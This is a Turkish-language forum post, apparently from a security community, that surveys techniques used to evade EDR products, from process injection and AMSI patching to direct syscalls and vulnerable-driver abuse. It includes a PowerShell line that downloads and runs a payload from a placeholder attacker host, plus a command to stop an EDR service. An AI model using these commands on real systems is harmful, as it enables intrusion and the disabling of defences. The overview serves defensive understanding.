Hoşgeldin Misafir

EDR Sistemlerini Atlatmak İçin Kullanılan Modern TTP'ler

Stronger_Cracker

25 Tem 2022
6,408 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
MT9V5pB.gif



Selamunaleyküm,
Endpoint Detection and Response (EDR) modern kurumsal ağların en kritik savunma katmanlarından biridir. Geleneksel antivirüs çözümlerinden farklı olarak EDR sistemleri yalnızca imza tabanlı tespit yapmaz, aynı zamanda davranış analizi, süreç ilişkileri, bellek aktiviteleri ve ağ iletişimlerini sürekli izleyerek tehditleri tespit etmeye çalışır.

Ancak gelişmiş tehdit aktörleri, özellikle APT grupları ve profesyonel saldırı ekipleri, bu sistemleri atlatabilmek için çeşitli TTP (Tactics, Techniques and Procedures) geliştirmiştir. Konumuzda modern saldırganların EDR çözümlerini atlatmak için kullandığı teknik yaklaşımlar ve bunların teknik altyapısı anlatmaya çalışacağım.

Living off the Land (LotL) Stratejisi​

Modern saldırıların önemli bir kısmı artık klasik zararlı yazılımlar yerine sistemde zaten bulunan araçları kullanarak gerçekleştirilmektedir. Bu yaklaşım Living off the Land olarak adlandırılır.
Bu yöntemde saldırganlar sistemde zaten bulunan güvenilir araçları kullanarak zararlı aktiviteler gerçekleştirir. Böylece EDR sistemleri tarafından şüpheli bir binary çalıştırıldığı tespit edilmez.

Yaygın kullanılan araçlar:

PowerShell
Windows Management Instrumentation (WMI)
certutil
mshta
rundll32
regsvr32

Bu araçların büyük kısmı LOLBins (Living Off The Land Binaries) olarak sınıflandırılmaktadır.

Örneğin PowerShell kullanılarak uzaktan bir payload indirilebilir:

Kod:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"

Bu komut zararlı bir dosya indirse bile sistemde yeni bir executable oluşmadığı için bazı EDR sistemleri tarafından doğrudan zararlı olarak sınıflandırılmayabilir.

Process Injection Teknikleri​

EDR çözümleri genellikle yeni başlatılan süreçleri ve bu süreçlerin davranışlarını izler. Bu nedenle saldırganlar zararlı kodu yeni bir süreç başlatmak yerine meşru bir sürecin içine enjekte ederek çalıştırmayı tercih eder.

Process injection teknikleri arasında en yaygın olanlar şunlardır:

DLL Injection​

Zararlı DLL dosyası çalışan bir sürece yüklenir.

Genellikle kullanılan API çağrıları:

OpenProcess
VirtualAllocEx
WriteProcessMemory
CreateRemoteThread

Bu yöntemle zararlı kod örneğin explorer.exe içerisinde çalışabilir.

Process Hollowing​

Bu yöntemde yeni bir süreç başlatılır ancak orijinal kodu bellekte silinerek yerine zararlı kod yazılır.

Saldırı akışı genellikle şu şekildedir:
Suspended modda bir süreç başlatılır
Orijinal executable memory'den kaldırılır
Zararlı payload belleğe yazılır
Thread resume edilir

Bu teknik özellikle malware loader'lar tarafından yoğun şekilde kullanılmaktadır.

PSBPbAz.gif

Reflective DLL Loading​

Bu yöntemde DLL dosyası disk üzerinde bulunmaz. Bunun yerine doğrudan bellek içinde yüklenir. Bu sayede disk artefact oluşmaz vestatik analiz zorlaşır

Fileless Malware Yaklaşımı​

Modern saldırıların önemli bir kısmı artık dosyasız zararlı yazılım (fileless malware) kategorisine girmektedir.
Bu saldırılarda payload; RAM içerisinde çalışır, disk üzerinde kalıcı dosya bırakmaz

Fileless saldırılarda kullanılan yaygın teknikler şunlardır:

Registry Persistence​

Payload registry içinde saklanabilir.

Örnek:

Kod:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

WMI Event Subscription​

WMI kullanılarak kalıcılık sağlanabilir.

Örnek mekanizma:
Event filter oluşturulur
Command consumer tanımlanır
Belirli bir event tetiklendiğinde payload çalıştırılır

Bu yöntem özellikle APT saldırılarında yaygındır.

AMSI Bypass Teknikleri​

Windows ortamında PowerShell scriptleri genellikle Antimalware Scan Interface (AMSI) üzerinden analiz edilir.
AMSI, script içeriklerini çalıştırılmadan önce antivirüs veya EDR motoruna gönderir.

Ancak saldırganlar AMSI mekanizmasını çeşitli tekniklerle devre dışı bırakabilir.

Memory Patching​

AMSI fonksiyonunun bellekteki davranışı değiştirilir.

Örneğin:

Kod:
AmsiScanBuffer

fonksiyonu patch edilerek her zaman temiz sonuç döndürmesi sağlanabilir.

bS6mOVw.gif

Obfuscation​

Script içerikleri karmaşık hale getirilir.

Örnek yöntemler:

string splitting
base64 encoding
XOR encoding
dynamic code generation

Bu teknikler özellikle PowerShell saldırılarında yaygın olarak kullanılmaktadır.

Direct Syscall Kullanımı​

Birçok EDR çözümü Windows API çağrılarını izlemek için API hooking tekniğini kullanır.

Örneğin:

Kod:
NtOpenProcess
NtWriteVirtualMemory
NtCreateThreadEx

gibi çağrılar hook edilerek izlenir. Ancak saldırganlar bu API çağrılarını tamamen atlayarak doğrudan sistem çağrısı (direct syscall) gerçekleştirebilir. Bu teknik user-mode hook'lar bypass edilmesi ve EDR davranış takibinin zorlaşması gibi avantajlar sağlar.

Bu yöntem özellikle modern malware loader'larında görülmektedir.

EDR Tamper ve Disable Teknikleri​

Bazı saldırganlar doğrudan EDR agent'ını hedef almayı tercih eder.
Bu teknikler genellikle yüksek ayrıcalık (privilege escalation) gerektirir.

Yaygın yaklaşımlar:

Driver Exploitation​

Savunmasız kernel driver'ları kullanılarak EDR devre dışı bırakılabilir.
Bu teknik BYOVD (Bring Your Own Vulnerable Driver) olarak bilinir.

Service Manipulation​

EDR servisleri durdurulmaya çalışılabilir.

Örnek:

Kod:
sc stop <edr_service>

Ancak modern EDR çözümleri genellikle self-protection mekanizmaları içerir.

ZEuA12e.gif

Multi-Stage Payload Mimarisi​

Modern saldırılar genellikle tek aşamalı değildir.
Bunun yerine çok aşamalı payload mimarisi kullanılır.

Tipik saldırı zinciri:

Stage 1
Initial loader

Stage 2
Shellcode veya reflective loader

Stage 3
Ana malware bileşeni

Bu, payload parçalanması, network detection ve sandbox analizi zorlaşması gibi avantajlar sağlar.

Selametle..